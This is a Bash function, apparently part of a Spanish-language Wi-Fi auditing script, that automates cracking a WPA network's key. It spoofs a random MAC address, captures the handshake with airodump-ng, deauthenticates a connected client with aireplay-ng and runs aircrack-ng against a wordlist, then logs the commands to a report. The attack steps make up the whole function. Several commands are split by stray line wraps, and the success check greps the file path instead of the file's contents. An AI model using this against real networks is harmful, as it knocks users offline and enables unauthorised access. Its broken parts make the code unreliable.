```
AircrackWPA() {
        echo "***************** Aircrack WPA******************"
        CambioMacRandom
        LINEA_ATAQUE=$LINEA_AUX
        LINEA_ATAQUE=$(head -$LINEA_ATAQUE "$ARCHIVO_REDES_SCAN" |
tail -1)
        BSSID=$(echo "$LINEA_ATAQUE" | awk -F "|" {' print $3 '})
        CANAL=$(echo "$LINEA_ATAQUE" | awk -F "|" {' print $4 '})
        ESSID=$(echo "$LINEA_ATAQUE" | awk -F "|" {' print $9 '})
        PRIVACY=$(echo "$LINEA_ATAQUE" | awk -F "|" {' print $5 '})
        CLIENT=$(cat $ARCHIVO_CAPTURAS-clients.csv | grep $BSSID)
        TARJETA_SELECCIONADA_MAC=$(echo "$CLIENT" | awk -F "," {'
print $1 '})

        if [ ! `echo $TARJETA_SELECCIONADA_MAC | grep ":"` ]
        then
                #Utilizo mi propia interfaz para realizar falsa
autenticaciÛn
                TARJETA_SELECCIONADA_MAC=$(head -1 "$LOG_TARJETA" |
tail -1)
        else
                TARJETA_SELECCIONADA_MAC=$(echo "$CLIENT" | awk -F
"," {' print $1 '})
        fi

        TARJETA_MODO_MONITOR=$(head -1 "$ARCHIVO_TARJETA_MONITOR" |
tail -1)
        sudo airmon-ng stop $TARJETA_MODO_MONITOR

        TARJETAS_WIFI_DISPONIBLES=$(iwconfig --version | grep
"Recommend" | awk '{print $1}' | sort)
        INTERFAZ=$(echo $TARJETAS_WIFI_DISPONIBLES | awk '{print
$1}')
        sudo airmon-ng start $INTERFAZ $CANAL
        X1="airmon-ng start $INTERFAZ $CANAL"

        airodump-ng -c $CANAL --bssid $BSSID -w $CAPTURA_AIRCRACK
$TARJETA_MODO_MONITOR
        X2="airodump-ng -c $CANAL --bssid $BSSID -w output
$TARJETA_MODO_MONITOR"

        echo "....Comienzo a inyectar..."

        aireplay-ng -0 1 -a $BSSID -c $TARJETA_SELECCIONADA_MAC
$TARJETA_MODO_MONITOR
        X3="aireplay-ng -0 1 -a $BSSID -c $TARJETA_SELECCIONADA_MAC
$TARJETA_MODO_MONITOR"

        TIEMPO_ESCANEO="60"
        for A in `seq 1 $TIEMPO_ESCANEO`
        do
                sleep 1s
                if [ $A -eq $TIEMPO_ESCANEO ]
                then
```

```
                        X4="aircrack-ng -a 2 -s output-01.cap -w
wordlist.lst"
                        sudo aircrack-ng -a 2 -s
"$CAPTURA_AIRCRACK-01.cap" -w $WORDLIST >> "$RUTA_AIRCRACK/aircrack-
$BSSID.dat" &
                        echo "aircrack-ng -a 2 -s
"$CAPTURA_AIRCRACK-01.cap" -w $WORDLIST" >> "$RUTA_AIRCRACK/
salida.log"
                else
                        TIEMPO_RESTANTE=$(expr $TIEMPO_ESCANEO - $A)
                fi
        done
        EsperarAcabarAircrack 15
        X5="90"
        X6="SI"
        if [ ! `echo "$RUTA_AIRCRACK/aircrack-$BSSID.dat" | grep
"KEY FOUND"`  ]
        then
                X6="NO"
        fi
        X7="aircrack-$BSSID.dat"

        (`sudo python "$RUTA_INFORME/SUBSWPA2.py" "$X1" "$X2" "$X3"
"$X4" "$X5" "$X6" "$X7"`)

        unset A, X1, X2, X3, X4, X5, X6, X7, BSSID, CANAL, ESSID

}
```